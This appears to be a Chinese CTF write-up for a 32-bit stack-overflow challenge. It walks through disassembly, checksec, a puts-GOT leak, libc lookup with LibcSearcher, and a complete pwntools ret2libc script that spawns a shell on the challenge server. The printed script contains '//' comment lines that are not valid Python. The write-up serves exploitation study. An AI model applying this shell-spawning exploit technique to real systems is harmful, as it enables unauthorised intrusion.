pwn-ROP

pwn-ROP

题目描述

题目给出了两个有效信息,一个是远程连接的ip及端口号,另一个是libc下载的地址。

题目分析

  1. 下载pwn2,查看位数
1
2
hdd@ubuntu:~/111-oj/pwn2$ file pwn2
pwn2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=9517a5e841a7db5fa03c618755241485162e3423, stripped
  1. 用ida32打开pwn2,分析程序
    mian函数:
    1
    2
    3
    4
    5
    6
    int __cdecl main()
    {
    sub_80484BB();
    sub_80484EA();
    return 0;
    }

sub_80484BB():

1
2
3
4
5
void sub_80484BB()
{
setbuf(stdin, 0);
setbuf(stdout, 0);
}

sub_80484EA():

1
2
3
4
5
6
7
ssize_t sub_80484EA()
{
char buf; // [esp+0h] [ebp-58h]

puts("welcome to ROP world");
return read(0, &buf, 0xC8u);
}

注意sub_80484EA()中的read函数,读入0xC8个字节到buf,但是分给buf的内存只有58h个字节,显然此处产生栈溢出漏洞。

  1. 检查保护机制
1
2
3
4
5
6
7
hdd@ubuntu:~/111-oj/pwn2$ checksec pwn2
[*] '/home/hdd/111-oj/pwn2/pwn2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

开启NX保护,即栈保护,就不能像第一题那样直接向栈中注入代码来获取shell了,应该想办法绕过这些保护。
基础知识:参考Basic ROP

  1. 查找system函数及/bin/sh字符串
1
2
3
hdd@ubuntu:~/111-oj/pwn2$ ROPgadget --binary pwn2 --string '/bin/sh'
Strings information
============================================================

根据查找结果,发现程序中没有system函数和/bin/sh字符串。

  1. 常规ROP做题思路:
    通过ROP泄漏libc的address(如puts_got),计算system地址,然后返回到一个可以重现触发漏洞的位置(如main),再次触发漏洞,通过ROP调用system(“/bin/sh”)。

这里选择泄露puts函数的地址,puts函数的地址保存在got表中,而got表由plt表可以查找到,如下图所示:
plt got链接

  1. 通过泄露的puts地址,可以查找到相应的libc版本,在libc中各个函数之间的偏移位置不变,可以通过计算出libc的基地址,再计算system和binsh的绝对地址。
    计算公式:
    已知puts_addr(上边已经得出)和libc中puts的地址,算出libc的基地址为
    libcbase=puts_addr-libc.dump(‘puts’),其中dump函数是一个libcSeacher工具里的一个方法,可以直接找到在libc中其对应函数的地址。libcSeacher下载地址及用法
    system_addr=libcbase+libc.dump(‘system’)
    binsh_addr=libcbase+libc.dump(‘str_bin_sh’)
  2. 脚本代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
from LibcSearcher import LibcSearcher
elf = ELF('./pwn2')
r = remote('pwn1.blue-whale.me',9991)

//泄露puts地址
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x08048519
paylaod = 'a'*92 + p32(puts_plt) + p32(main) + p32(puts_got)
r.recvuntil("welcome to ROP world\n")
r.sendline(paylaod)
puts_addr = u32(r.recv()[0:4])
print "puts_addr:"+hex(puts_addr)

//根据已经泄露的puts地址,搜索相对应的libc版本
libc=LibcSearcher('puts',puts_addr)
#libc.dump("system")
#libc.dump("str_bin_sh")
#libc.dump("__libc_start_main_ret")
#print(libc)

//根据libc中的偏移地址得到system和binsh的地址
libcbase = puts_addr - libc.dump('puts')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

//构造填充数据,得到shell
payload = 'a'*92 + p32(system_addr) + 'bbbb' + p32(binsh_addr)
r.sendline(payload)
r.interactive()
文章目录
  1. 1. pwn-ROP
    1. 1.1. 题目描述
    2. 1.2. 题目分析